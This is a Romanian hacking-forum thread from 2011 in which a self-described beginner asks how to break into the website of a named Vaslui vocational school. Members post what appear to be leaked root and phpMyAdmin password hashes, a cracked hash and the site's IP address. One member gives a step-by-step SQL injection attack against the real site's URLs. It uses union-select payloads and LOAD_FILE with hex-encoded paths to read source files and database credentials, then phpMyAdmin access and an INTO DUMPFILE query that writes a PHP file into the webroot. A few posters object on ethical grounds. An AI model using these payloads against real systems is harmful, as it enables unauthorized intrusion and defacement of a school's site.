stefanprocopiu.vaslui.rdsnet.ro

[CYobY]

Sunt curios daca se poate sparge situl asta Grupul Scolar Industrial Stefan Procopiu Vaslui

[razer_krait]

Na ma, fa-te hacker Click.

User:Password:
root:013bf4713f16a303:
pma:6ec995ca3d407454:

Bun, acuma incepe si sparge hash-ul, si aici te blochezi.

Edited December 11, 2011 by razer_krait

[spider]

Sunt curios daca se poate sparge situl asta

ai ramas repetent ? razbunarea e de obicei arma prostului si tu nu pari departe

[CYobY]

am aflat utilizatori si parolele dar acum cum intru in control panel sau ceva de genu ?

ps: poti afla ip-ul ?

[tdxev]

CYobY cati ani ai ? vad ca nu ai trecut pe la "Bine ai venit (aici te poti prezenta)".

[CYobY]

am 18 ani, si sunt nub in ceea ce priveste chestii d'astea

[tdxev]

atunci scoate cativa verzisori de la saltea vorbeste cu cineva care se pricepe (de ex. razer_krait ca tot s-a apucat de treaba) explica-i ce vrei sa faci si gata..

[Weedy92]

am aflat utilizatori si parolele dar acum cum intru in control panel sau ceva de genu ?

ps: poti afla ip-ul ?

Cu ajutorul meu binenteles..

[CYobY]

imi poate spune cineva ? ajutati un biet incepator

[JOEE]

ps: poti afla ip-ul ?

Resolved Grupul Scolar Industrial Stefan Procopiu Vaslui to 63.251.179.13 .

[CYobY]

deci pana acum am aflat

deci am gasit useri si parolele

cred ca hash-ul e asta

Cracking hash: e10adc3949ba59abbe56e057f20f883e

Plain text of e10adc3949ba59abbe56e057f20f883e is 123456

imi poti spune cum ma logez cu datele lor la find admins am gasit urmatorul link

XAMPP for Windows Version 1.5.3a | Security Section

[TheWiner]

plm.. traba sa iti instalezi XAMPP ca sa iti mearga.

[CYobY]

sigur trebuie sa instalez xampp ? poate ma pui sa il instalez degeaba

[Weedy92]

sigur trebuie sa instalez xampp ? poate ma pui sa il instalez degeaba

Nimeni nu te pune sa faci nimic degeaba pe aici daca nu vrei nu il instala si gata

[aelius]

imi poate spune cineva ? ajutati un biet incepator

Parca ai cere un colt de paine si o farfurie de ciorba. Sparge si tu site-uri tumefiate de panarane. Nu te uita la site-uri de scoli si educationale.

E de rahat sa-ti bati joc de munca altora, fie ea facuta de ratati.

[CYobY]

poate careva sa sparga hash-ul asta?

6ec995ca3d407454

[totti93]

Trebuie lucrat cu capul si obtii:

http://stefanprocopiu.vaslui.rdsnet.ro/deface.php

Metoda (Sa nu fie secreta):

Metoda:

SQL Injection

Aflam path-ul catre MySQL

http://stefanprocopiu.vaslui.rdsnet.ro/articol.php?idarticol=70+and+false+union+all+select+1,2,3,4,5,@@basedir,7--

=>\xampp\mysql\

Fiind instalat XAMPP inseamna ca sistemul de operare este Windows (Asta se vede si din bannerul serverului Apache/2.2.3 (Win32))... XAMPP isi tine fisierele www in "\xampp\htdocs".

Deci cu un simplu LOAD_FILE() putem citi fisierele. Dar care e drive-ul? Incercam cu C: (care va fi chiar drive-ul corect)

Avem fisierul "articol.php" ("c:\xampp\htdocs\articol.php"). Aplicam functia LOAD_FILE() (Hex, deoarece este filtrat apostroful):

http://stefanprocopiu.vaslui.rdsnet.ro/articol.php?idarticol=70+and+false+union+all+select+1,2,3,4,5,load_file%280x633a5c78616d70705c6874646f63735c61727469636f6c2e706870%29,7--

Putem obeserva ca returneaza urmatorul cod (segment de cod):

include ("continut_articol.php");

Sa citim continutul acestui fisier:

http://stefanprocopiu.vaslui.rdsnet.ro/articol.php?idarticol=70+and+false+union+all+select+1,2,3,4,5,load_file%280x633a5c78616d70705c6874646f63735c636f6e74696e75745f61727469636f6c2e706870%29,7--

Ca rezultat vom obtine:

$msql = @mysql_connect("localhost" , "XXXXXXXXXX", "XXXXXXXXX")
  or die("Nu s-a realizat conectarea la baza de date...");
$baza = @mysql_select_db("lsp")
  or die("Nu exista baza de date...") ;

Luam userul si parola de aici si accesam PhpMyAdmin:

http://stefanprocopiu.vaslui.rdsnet.ro/phpmyadmin/

Cu o simpla interogare SQL vom scrie in fisiere:

SELECT '<?php ?>' INTO DUMPFILE 'C:\\XAMPP\\HTDOCS\\OUT.PHP'

Edited December 11, 2011 by totti93
Pentru dezvaluirea metodei...

[CYobY]

Sa citim continutul acestui fisier:

Grupul Scolar Industrial Stefan Procopiu Vaslui

Ca rezultat vom obtine:

Code:

$msql = @mysql_connect("localhost" , "XXXXXXXXXX", "XXXXXXXXX")

or die("Nu s-a realizat conectarea la baza de date...");

$baza = @mysql_select_db("lsp")

or die("Nu exista baza de date...") ;

mie nu imi arata rezultatul care iti arata tie

[TheWiner]

Acuma vrei si mura in gura, dupaia ca sa te lauzi la prieteni tai ca ai fost tu.

[Weedy92]

Sa citim continutul acestui fisier:

Grupul Scolar Industrial Stefan Procopiu Vaslui

Ca rezultat vom obtine:

Code:

$msql = @mysql_connect("localhost" , "XXXXXXXXXX", "XXXXXXXXX")

or die("Nu s-a realizat conectarea la baza de date...");

$baza = @mysql_select_db("lsp")

or die("Nu exista baza de date...") ;

mie nu imi arata rezultatul care iti arata tie

Esti Bolovan , Mura in gura nu iti da nimeni

[CYobY]

oricum nu vreau sa il stric

[BogdanNBV]

@CYobY prietene lasa-te, ai primit mura-n gura pana acum si tot nu est in stare, apuca-te de alte lucruri.

[totti93]

@CYobY Eu ti-am explicat teoretic ce se intampla, pentru ca stiu ca vrei sa dai deface la site, gen "Hacked by CYobY". Adica eu fac atacul, si tu doar sa-ti pui amprenta pe ea?

In plus, nu va inteleg... Care e rostul unui deface? Mai bine iau root, sau macar shell, si imi rulez acolo scripturile, decat sa-mi folosesc procesorul. Un deface la Cancan mai mege, pentru ca merita...

[Paul4games]

Eu nu inteleg de ce dracu va pierdeti timpul, deja ma si enerveaza asta......dute frate si invata bazele prima oara si dupa aceea sparge tu site-uri, de ce dracu nu e postul asta la penale deja?

[Park]

Bai sa-mi bag pula. Site-ul asta e facut doar ca sa fie si sa mai aduca aminte elevilor "silitori" de la Procopiu despre evenimentele scolare si extrascolare. Nu stiu de ce va frecati pulile unii altora cu SQL injection si ii prezentati unui pusti de clasa a 9-a cum sa obtina acces la site.

Maine stiu toti elevii ca Cyoby a spart site-ul liceului si e mare hacker.